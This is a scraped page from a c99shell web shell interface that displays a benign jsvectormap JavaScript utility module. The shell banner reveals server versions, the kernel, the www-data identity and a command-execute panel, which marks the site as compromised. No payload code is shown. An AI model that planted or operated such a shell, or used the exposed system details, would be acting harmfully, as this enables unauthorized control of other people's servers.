Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/queuepro/node_modules/jsvectormap/src/js/util/ drwxrwxr-x | |
| Viewing file: Select action/file-type: import DeepMerge from './deepMerge'
/**
* --------------------------------------------------------------------------
* Public Util Api
* --------------------------------------------------------------------------
*/
const getElement = selector => {
if (typeof selector === 'object' && typeof selector.nodeType !== 'undefined') {
return selector
}
if (typeof selector === 'string') {
return document.querySelector(selector)
}
return null
}
const createElement = (type, classes, content, html = false) => {
let el = document.createElement(type)
if (content) {
el[!html ? 'textContent' : 'innerHTML'] = content
}
if (classes) {
el.className = classes
}
return el
}
const findElement = (parentElement, selector) => {
return Element.prototype.querySelector.call(parentElement, selector)
}
const removeElement = target => {
target.parentNode.removeChild(target)
}
const isImageUrl = url => {
return /\.(jpg|gif|png)$/.test(url)
}
const hyphenate = string => {
return string.replace(/[\w]([A-Z])/g, m => `${m[0]}-${m[1]}`).toLowerCase()
}
const merge = (target, source, deep = false) => {
if (deep) {
return DeepMerge(target, source)
}
return Object.assign(target, source)
}
const keys = object => {
return Object.keys(object)
}
export {
getElement,
createElement,
findElement,
removeElement,
isImageUrl,
hyphenate,
merge,
keys,
} |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0064 ]-- |